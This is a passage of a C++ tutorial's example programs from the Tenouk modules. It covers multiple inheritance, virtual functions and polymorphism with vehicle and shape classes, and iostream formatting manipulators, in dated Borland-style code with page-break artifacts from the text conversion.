void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};

float efficiency(void)
{return (payload / (payload + gross_weight));};

float cost_per_ton(float fuel_cost)


{return (fuel_cost / (payload / 2000.0));};

float cost_per_full_day(float cost_of_gas) //number one


{return (5.5 * cost_of_gas * 55.0 / mpg);};
};

//-------base class number two-------


class driver
{
protected:
float hourly_pay;

public:
//same method name as in moving van class.
void initialize(float pay) {hourly_pay = pay;};
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
float cost_per_full_day(float overtime_premium) //number two
{return (7.0 * hourly_pay); };
};

//-----derived class------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;

file:///C|/Tutorial.txt (255 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

mpg = input_mpg;
hourly_pay = pay;
};

float cost_per_full_day(float cost_of_gas) //number three


{
return ((7.0 * hourly_pay) + (5.5 * cost_of_gas * 55.0) / mpg);
};
};

//-------main program-----
int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


cout<<"Merc's efficiency is "<<john_merc.efficiency()<<" %\n";
cout<<"Cost per mile for John to drive is USD"<<john_merc.cost_per_mile()<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.moving_van::cost_per_full_day()\n";
cout<<"-----------------------------------------\n";
cout<<"Merc's cost per day is USD"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.driver::cost_per_full_day()\n";
cout<<"----------------------------------------\n";
cout<<"John's full day cost is USD"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.driven_truck::cost_per_full_day()\n";
cout<<"----------------------------------------------\n";
cout<<"Merc's cost per day for John to drive is USD"<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";

return 0;
}

============================MODULE17=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change

file:///C|/Tutorial.txt (256 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Program poly1.cpp. For VC++/VC++ .Net change the


//header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
void message(void) //first message()
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle

file:///C|/Tutorial.txt (257 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//----the main program---


int main()
{
vehicle unicycle;
car sedan_car;
truck trailer;
boat sailboat;

unicycle.message();
sedan_car.message();
trailer.message();
sailboat.message();

//base and derived object assignment


unicycle = sedan_car;
unicycle.message();

system("pause”);
return 0;
}

----------------------------------------------------------------------------------------

//Program poly2.cpp
#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;

file:///C|/Tutorial.txt (258 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float weight;
public:
virtual void message(void)
//first message(), with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program----


int main()
{
vehicle unicycle;
car sedan_car;
truck trailer;
boat sailboat;

cout<<"Adding virtual keyword at the base class method\n";


cout<<"-----------------------------------------------\n";
unicycle.message();
sedan_car.message();
trailer.message();
sailboat.message();

//unicycle = sedan_car;
//sedan_car.message();

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (259 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Program poly3.cpp
#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
void message(void)
//first message()
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program-----


int main()
{
vehicle *unicycle;
car *sedan_car;
truck *trailer;
boat *sailboat;

cout<<"Omitting the virtual keyword. Using\n";


cout<<"pointer variables, and new keyword\n";
cout<<"-----------------------------------\n";

unicycle = new vehicle;

file:///C|/Tutorial.txt (260 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

unicycle->message();
sedan_car = new car;
sedan_car->message();
trailer = new truck;
trailer->message();
sailboat = new boat;
sailboat->message();

unicycle = sedan_car;
unicycle->message();

system("pause");
return 0;
}

------------------------------------------------------------------------------------------

//Program poly4.cpp
#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
virtual void message(void)
//first message(), with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}

file:///C|/Tutorial.txt (261 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void message(void) //third message()


{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program-------


int main() //main program
{
vehicle *unicycle;
car *sedan_car;
truck *trailer;
boat *sailboat;

cout<<"Re add the virtual keyword. Using\n";


cout<<"pointer variables, and new keyword\n";
cout<<"-----------------------------------\n";

unicycle = new vehicle;


unicycle->message();
sedan_car = new car;
sedan_car->message();
trailer = new truck;
trailer->message();
sailboat = new boat;
sailboat->message();

unicycle = sedan_car;
unicycle->message();

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------

//Program poly5.cpp
#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
void message(void)
//first message()
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()

file:///C|/Tutorial.txt (262 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{cout<<"Car message, from car, the vehicle derived class\n";}


};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program------


int main()
{

cout<<"Omitting the virtual keyword. Using\n";


cout<<"pointer variables, new and\n";
cout<<"delete keyword\n";
cout<<"-----------------------------------\n";

vehicle *unicycle;
unicycle = new vehicle;
unicycle->message();
delete unicycle;

unicycle = new car;


unicycle->message();
delete unicycle;

unicycle = new truck;


unicycle->message();
delete unicycle;

unicycle = new boat;


unicycle->message();
delete unicycle;

//unicycle = sedan_car;
//unicycle->message();

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//Program poly6.cpp

file:///C|/Tutorial.txt (263 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream.h>
#include <stdlib.h>

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
virtual void message(void)
//first message() method, with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program----


int main()
{

cout<<"Re add the virtual keyword. Using\n";


cout<<"pointer variables, new and\n";
cout<<"delete keyword\n";
cout<<"-----------------------------------\n";

vehicle *unicycle;

unicycle = new vehicle;


unicycle->message();
delete unicycle;
unicycle = new car;

file:///C|/Tutorial.txt (264 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

unicycle->message();
delete unicycle;
unicycle = new truck;
unicycle->message();
delete unicycle;

unicycle = new boat;


unicycle->message();
delete unicycle;

cout<<"\nThe real virtual function huh!\n";

system("pause");
return 0;
}

----------------------------------------------------------------------------------------------

//polymorphic functions, virtual keyword


//program example...
#include <iostream.h>
#include <stdlib.h>

//------class declaration and implementation--------


//base class
class Shape
{
//protected member variables should be available
//for derived classes...
protected:
char* Color;

public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};

//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;

public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};

class Square:public Shape

file:///C|/Tutorial.txt (265 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
char* Color;

public:
Square(){ Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};

class Triangle:public Shape


{
char* Color;

public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};

class Circle:public Shape


{
char* Color;

public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};

//----main program---
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;

cout<<"Non polymorphic, early binding:"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Shape color: "<<ObjOne.GetColor()<<endl;
cout<<"Rectangle color: "<<ObjTwo.GetColor()<<endl;
cout<<"Square color: "<<ObjThree.GetColor()<<endl;
cout<<"Triangle color: "<<ObjFour.GetColor()<<endl;
//notice the different function name as previous function...
cout<<"Circle color: "<<ObjFive.GetMyColor()<<endl;

cout<<"\nPolymorphic, late binding:"<<endl;


cout<<"--------------------------"<<endl;

//pointer variable of type Shape class...


Shape *VirtualPtr;

file:///C|/Tutorial.txt (266 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//object allocation of type Shape size...


VirtualPtr = new Shape;
cout<<"Shape color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
//deallocate, clean up...
delete VirtualPtr;

VirtualPtr = new Rectangle;


cout<<"Rectangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Square;


cout<<"Square color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Triangle;


cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

//no GetColor() in this derived class, so use the GetColor


//from the base class...
VirtualPtr = new Circle;
cout<<"Circle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<&VirtualPtr<<"\n\n";
delete VirtualPtr;

//retest..
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

system("pause");
return 0;
}

----------------------------------------------VC++/VC++ .Net-----------------------------------------------------

//Program poly6.cpp
#include <iostream>
using namespace std;

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
virtual void message(void)
//first message() method, with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

file:///C|/Tutorial.txt (267 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------the main program------


int main()
{
cout<<"Re add the virtual keyword. Using\n";
cout<<" pointer variables, new and\n";
cout<<" delete keyword\n";
cout<<"==================================\n";

vehicle *unicycle;

unicycle = new vehicle;


unicycle->message();
delete unicycle;
unicycle = new car;
unicycle->message();
delete unicycle;
unicycle = new truck;
unicycle->message();
delete unicycle;

unicycle = new boat;


unicycle->message();
delete unicycle;

cout<<"\nThe real virtual function huh!\n";


cout<<"==================================\n";

return 0;
}

file:///C|/Tutorial.txt (268 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

---------------------------------------------G++ on Linux/Fedora-------------------------------------------------------

///////-polymorph.cpp-/////////
///////-polymorphic functions, virtual function-////////
///////-FEDORA 3, g++ x.x.x-///////
#include <iostream>
using namespace std;

//------class declaration and implementation--------


//base class
class Shape
{
//protected member variables should be available
//for derived classes...
protected:
char* Color;

public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};

//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;

public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};

class Square:public Shape


{
char* Color;

public:
Square(){Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};

class Triangle:public Shape


{
char* Color;

public:

file:///C|/Tutorial.txt (269 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};

class Circle:public Shape


{
char* Color;

public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};

//------main program-----
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;

cout<<"Non polymorphic, early binding:"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Shape color: "<<ObjOne.GetColor()<<". ";
cout<<" The address-->"<<&ObjOne<<endl;
cout<<"Rectangle color: "<<ObjTwo.GetColor()<<". ";
cout<<" The address-->"<<&ObjTwo<<endl;
cout<<"Square color: "<<ObjThree.GetColor()<<". ";
cout<<" The address-->"<<&ObjThree<<endl;
cout<<"Triangle color: "<<ObjFour.GetColor()<<". ";
cout<<" The address-->"<<&ObjFour<<endl;
//notice the different function name as previous function...
cout<<"Circle color: "<<ObjFive.GetMyColor()<<". ";
cout<<"The address-->"<<&ObjFive<<endl;

cout<<"\nPolymorphic, late binding:"<<endl;


cout<<"--------------------------"<<endl;

//pointer variable of type Shape class...


Shape *VirtualPtr;

//object allocation of type Shape size...


VirtualPtr = new Shape;
cout<<"Shape color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
//deallocate, clean up...
delete VirtualPtr;

VirtualPtr = new Rectangle;


cout<<"Rectangle color: "<<VirtualPtr->GetColor()<<endl;

file:///C|/Tutorial.txt (270 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;


delete VirtualPtr;

VirtualPtr = new Square;


cout<<"Square color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Triangle;


cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

//no GetColor() in this derived class, so use the GetColor


//from the base class...
VirtualPtr = new Circle;
cout<<"Circle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<&VirtualPtr<<"\n\n";
delete VirtualPtr;

//retest...
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

return 0;
}

============================MODULE18=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

file:///C|/Tutorial.txt (271 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//string output using <<. For VC++/VC++ .Net change the


//header files accordingly...
//#include <cstdlib>
//#include <iostream>
//using namespace std;

#include <stdlib.h>
#include <iostream.h>

void main(void)
{
cout<<"Welcome to C++ I/O module!!!"<<endl;
cout<<"Welcome to ";
cout<<"C++ module 18"<<endl;
//endl is end line stream manipulator
//issue a new line character and flushes the output buffer
//output buffer may be flushed by cout<<flush; command

system("pause");
}

------------------------------------------------------------------------

//concatenating <<
#include <stdlib.h>
//for system(), if compiled in some compiler
//such as Visual Studio, no need this stdlib.h
#include <iostream.h>

void main(void)

file:///C|/Tutorial.txt (272 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
int p = 3, q = 10;

cout << "Concatenating using << operator.\n"


<<"--------------------------------"<<endl;
cout << "70 minus 20 is "<<(70 - 20)<<endl;
cout << "55 plus 4 is "<<(55 + 4)<<endl;
cout <<p<<" + "<<q<<" = "<<(p+q)<<endl;

system("pause");
}

-----------------------------------------------------------------------

#include <stdlib.h>
#include <iostream.h>

void main(void)
{
int p, q, r;

cout << "Enter 3 integers separated by space: \n";


cin>>p>>q>>r;
//the >> operator skips whitespace characters such as tabs,
//blank space and newlines. When eof is encountered, zero (false)
//is returned.
cout<<"Sum of the "<<p<<","<<q<<" and "<<r<<" is = "<<(p+q+r)<<endl;

system("pause");
}

----------------------------------------------------------------------

//End of file controls depend on system


//Ctrl-z followed by return key - IBM PC
//Ctrl-d - UNIX and MAC

#include <stdlib.h>
#include <iostream.h>

void main(void)
{
char p;

cout <<"Using member functions get(), eof() and put()\n"


<<"---------------------------------------------"<<endl;
cout<<"Before any input, cin.eof() is "<<cin.eof()<<endl;
cout<<"Enter a line of texts followed by end of file control: "<<endl;

while((p = cin.get()) !=EOF)


cout.put(p);
cout<<"\nAfter some text input, cin.eof() is "<<cin.eof()<<endl;

system("pause");
}

file:///C|/Tutorial.txt (273 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------

//Another get() version


#include <stdlib.h>
#include <iostream.h>

const int SIZE = 100;

void main(void)
{
char bufferOne[SIZE], bufferTwo[SIZE];

cout <<"Enter a line of text:"<<endl;


cin>>bufferOne;
//store the string in array bufferOne
//just the first word in the array string, then the
//first whitespace encountered
cout<<"\nThe line of text read by cin>> was:"<<endl;
cout<<bufferOne<<endl;
cin.get(bufferTwo, SIZE);
//the rest of the string
cout<<"The line of text read by cin.get(bufferTwo,SIZE) was:"<<endl;

cout<<bufferTwo<<endl;
system("pause");
}

---------------------------------------------------------------------------

//getline() example
#include <stdlib.h>
#include <iostream.h>

const SIZE = 100;

void main(void)
{
char buffer[SIZE];

cout<<"Read by cin.getline(buffer, SIZE)\n"


<<"--------------------------------\n"
<<"Enter a line of text:"<<endl;
cin.getline(buffer, SIZE);
cout<<"The line of text entered is: "<<endl;

cout<<buffer<<endl;
system("pause");
}

--------------------------------------------------------------------------

//Using read(), write() and gcount() member functions


#include <stdlib.h>
#include <iostream.h>

const int SIZE = 100;

file:///C|/Tutorial.txt (274 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void main(void)
{
char buffer[SIZE];

cout<<"Enter a line of text:"<<endl;


cin.read(buffer,45);
cout<<"The line of text entered was: "<<endl;
cout.write(buffer, cin.gcount());
//The gcount() member function returns
//the number of unformatted characters last extracted
cout<<endl;

system("pause");
}

--------------------------------------------------------------------------

//using hex, oct, dec and setbase stream manipulator


#include <stdlib.h>
#include <iostream.h>
#include <iomanip.h>

void main(void)
{

int p;

cout<<"Enter a decimal number:"<<endl;


cin>>p;
cout<<p<< " in hexadecimal is: "
<<hex<<p<<'\n'
<<dec<<p<<" in octal is: "
<<oct<<p<<'\n'
<<setbase(10) <<p<<" in decimal is: "
<<p<<endl;
cout<<endl;

system("pause");
}

--------------------------------------------------------------------------

//using precision and setprecision


#include <stdlib.h>
#include <iostream.h>
#include <iomanip.h>
#include <math.h>

void main(void)
{
double theroot = sqrt(11.55);

cout<<"Square root of 11.55 with various"<<endl;


cout<<" precisions"<<endl;
cout<<"---------------------------------"<<endl;

file:///C|/Tutorial.txt (275 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Using 'precision':"<<endl;

for(int poinplace=0; poinplace<=8; poinplace++)


{
cout.precision(poinplace);
cout<<theroot<<endl;
}
cout<<"\nUsing 'setprecision':"<<endl;

for(int poinplace=0; poinplace<=8; poinplace++)


cout<<setprecision(poinplace)<<theroot<<endl;

system("pause");
}

------------------------------------------------------------------------

//using width member function


#include <iostream.h>
#include <stdlib.h>

void main(void)
{
int p = 6;
char string[20];

cout<<"Using field width with setw() or width()"<<endl;


cout<<"----------------------------------------"<<endl;
cout<<"Enter a line of text:"<<endl;
cin.width(7);
while (cin>>string)
{
cout.width(p++);
cout<<string<<endl;
cin.width(7);
//use ctrl-z followed by return key or ctrl-d to exit
}

system("pause");
}

------------------------------------------------------------------------

///Using showpoint
//controlling the trailing zeroes and floating points
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
cout<<"Before using the ios::showpoint flag\n"
<<"------------------------------------"<<endl;
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000

file:///C|/Tutorial.txt (276 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

<<"\n\nAfter using the ios::showpoint flag\n"


<<"-----------------------------------"<<endl;
cout.setf(ios::showpoint);
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000<<endl;

system("pause");
}

--------------------------------------------------------------------------

//using setw(), setiosflags(), resetiosflags() manipulators


//and setf and unsetf member functions
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
long p = 123456789L;
//L - literal data type qualifier for long...
//F - float, UL unsigned integer...
cout<<"The default for 10 fields is right justified:\n"
<<setw(10)<<p
<<"\n\nUsing member function\n"
<<"---------------------\n"
<<"\nUsing setf() to set ios::left:\n"<<setw(10);
cout.setf(ios::left,ios::adjustfield);
cout<<p<<"\nUsing unsetf() to restore the default:\n";
cout.unsetf(ios::left);
cout<<setw(10)<<p
<<"\n\nUsing parameterized stream manipulators\n"
<<"---------------------------------------\n"
<<"\nUse setiosflags() to set the ios::left:\n"
<<setw(10)<<setiosflags(ios::left)<<p
<<"\nUsing resetiosflags() to restore the default:\n"
<<setw(10)<<resetiosflags(ios::left)
<<p<<endl;

system("pause");
}

-------------------------------------------------------------------------

//using setw(), setiosflags(), showpos and internal


#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{
cout<<setiosflags(ios::internal | ios::showpos)
<<setw(12)<<12345<<endl;
system("pause");
}

file:///C|/Tutorial.txt (277 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-------------------------------------------------------------------------

//using fill() member function and setfill() manipulator


#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

long p = 30000;

cout<<p
<<" printed using the default pad character\n"
<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"--------------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";

cout<<"Using various padding character"<<endl;


cout<<"-------------------------------"<<endl;
cout.setf(ios::right,ios::adjustfield);
cout.fill('#');
cout<<setw(10)<<dec<<p<<'\n';
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<setfill('$')<<p<<'\n';
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<setfill('*')<<hex<<p<<endl;

system("pause");
}

-------------------------------------------------------------------------

//using ios::showbase
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

long p = 2000;

cout<<setiosflags(ios::showbase)
<<"Printing integers by their base:\n"
<<"--------------------------------\n"
<<"Decimal ---> "<<p<<'\n'
<<"Hexadecimal---> "<<hex<<p<<'\n'
<<"Octal ---> "<<oct<<p<<endl;

file:///C|/Tutorial.txt (278 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
}

------------------------------------------------------------------------

//Displaying floating number in system


//default, scientific and fixed format

#include <iostream.h>
#include <stdlib.h>

void main(void)
{

double p = 0.000654321, q = 9.8765e3;

cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";

cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;

cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';

cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;

system("pause");
}

------------------------------------------------------------------------

//Using ios::uppercase flag


#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>

void main(void)
{

long p = 12345678;

cout<<setiosflags(ios::uppercase)
<<"Uppercase letters in scientific\n"

file:///C|/Tutorial.txt (279 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

<<"notation-exponents and hexadecimal values:\n"


<<"------------------------------------------\n"
<<5.7654e12<<'\n'
<<hex<<p<<endl;

system("pause");
}

------------------------------------------------------------------------

//Demonstrating the flags() member function


